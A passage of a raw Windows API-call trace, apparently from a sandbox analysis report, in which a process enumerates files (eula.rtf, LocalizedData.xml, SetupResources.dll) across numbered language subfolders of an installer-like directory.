lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0046.984] SetEvent (hEvent=0x2ec) returned 1 [0046.985] ResetEvent (hEvent=0x2f0) returned 1 [0046.986] FindNextFileW (in: hFindFile=0x10cdb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.000] SetEvent (hEvent=0x2ec) returned 1 [0047.000] ResetEvent (hEvent=0x2f0) returned 1 [0047.009] FindNextFileW (in: hFindFile=0x10cdb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.009] FindNextFileW (in: hFindFile=0x10cdb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.009] FindClose (in: hFindFile=0x10cdb0 | out: hFindFile=0x10cdb0) returned 1 [0047.009] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.009] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1030", cAlternateFileName="")) returned 1 [0047.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cdf0 [0047.009] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.009] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.009] SetEvent (hEvent=0x2ec) returned 1 [0047.009] ResetEvent (hEvent=0x2f0) returned 1 [0047.009] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.009] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.010] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.010] FindClose (in: hFindFile=0x10cdf0 | out: hFindFile=0x10cdf0) returned 1 [0047.010] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.010] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1031", cAlternateFileName="")) returned 1 [0047.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cef0 [0047.010] FindNextFileW (in: hFindFile=0x10cef0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.010] FindNextFileW (in: hFindFile=0x10cef0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.010] FindNextFileW (in: hFindFile=0x10cef0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.010] FindNextFileW (in: hFindFile=0x10cef0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.010] FindNextFileW (in: hFindFile=0x10cef0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.010] FindClose (in: hFindFile=0x10cef0 | out: hFindFile=0x10cef0) returned 1 [0047.010] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.010] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1032", cAlternateFileName="")) returned 1 [0047.010] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cbf0 [0047.010] FindNextFileW (in: hFindFile=0x10cbf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.011] FindNextFileW (in: hFindFile=0x10cbf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.011] FindNextFileW (in: hFindFile=0x10cbf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.011] FindNextFileW (in: hFindFile=0x10cbf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.011] FindNextFileW (in: hFindFile=0x10cbf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.011] FindClose (in: hFindFile=0x10cbf0 | out: hFindFile=0x10cbf0) returned 1 [0047.011] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.011] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1033", cAlternateFileName="")) returned 1 [0047.011] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cfb0 [0047.011] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.011] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.011] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.011] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.011] FindNextFileW (in: hFindFile=0x10cfb0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.011] FindClose (in: hFindFile=0x10cfb0 | out: hFindFile=0x10cfb0) returned 1 [0047.011] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.012] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1035", cAlternateFileName="")) returned 1 [0047.012] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cdf0 [0047.012] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.012] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.012] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.012] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0047.012] FindNextFileW (in: hFindFile=0x10cdf0, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0047.012] FindClose (in: hFindFile=0x10cdf0 | out: hFindFile=0x10cdf0) returned 1 [0047.012] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x32e0048 | out: hHeap=0x80000) returned 1 [0047.012] FindNextFileW (in: hFindFile=0x10d170, lpFindFileData=0x295f298 | out: lpFindFileData=0x295f298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1036", cAlternateFileName="")) returned 1 [0047.012] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10cf30 [0047.012] FindNextFileW (in: hFindFile=0x10cf30, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.012] FindNextFileW (in: hFindFile=0x10cf30, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0047.012] FindNextFileW (in: hFindFile=0x10cf30, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0047.013] FindNextFileW (in: hFindFile=0x10cf30, lpFindFileData=0x295f014 | out: lpFindFileData=0x295f014*(dwFileAttributes=0x80, 